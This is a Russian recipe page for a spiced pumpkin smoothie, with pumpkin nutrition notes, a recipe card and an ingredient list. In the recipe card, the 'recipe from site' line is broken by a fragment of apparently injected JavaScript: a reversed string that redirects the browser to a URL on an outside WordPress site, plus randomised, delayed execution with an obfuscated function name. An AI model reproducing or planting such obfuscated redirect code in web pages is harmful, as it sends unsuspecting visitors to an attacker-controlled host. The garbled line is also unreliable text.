Питательный и невероятно ароматный смузи из тыквы — то, что вам нужно этой зимой. Хотя бы потому, что тыква — это не только вкусно, но и очень полезно.
Тыква содержит клетчатку, бета-каротин, витамины (С, A, Е), а также магний, калий, железо. К тому же она некалорийна — в 100 граммах тыквы содержится не более 30 килокалорий. Так что советуем её внести в рацион как можно скорее!
Вы можете приготовить множество полезных блюд с тыквой (например чизкейк, который не надо запекать, вафли, салат, пасту, суп). А можете сделать вот такой ароматный и пряный смузи, который по вкусу напомнит тыквенный пирог.
Пряный тыквенный смузи
Для этого рецепта вам понадобятся тыквенное пюре и молоко из кешью. Узнайте, как их приготовить, кликнув ЗДЕСЬ и ЗДЕСЬ.
Фото: athleta.net
Рецепт дня: пряный тыквенный смузи
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
5 МИНУТ
КОЛИЧЕСТВО ПОРЦИЙ:
1
КАЛОРИЙНОСТЬ:
150
150 calories
Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru
PT1H
PT1H
Ингредиенты
тыквенное пюре
100 г
замороженный банан
1/2 шт.
грецкие орехи
20 г
мускатный орех
щепотка
молотая корица
1/4 ч. л.
сушёный молотый имбирь
1/4 ч. л.
растолчённая гвоздика
щепотка
ванильный стручок
1/4 шт.
молоко из кешью
200 г
лёд
4 кубика
- Налейте в блендер молоко из кешью (можете заменить его любым другим ореховым молоком), добавьте пюре, банан, орехи, специи и лёд.
- Взбивайте смузи до однородности. Подавайте, украсив корицей и орешками.
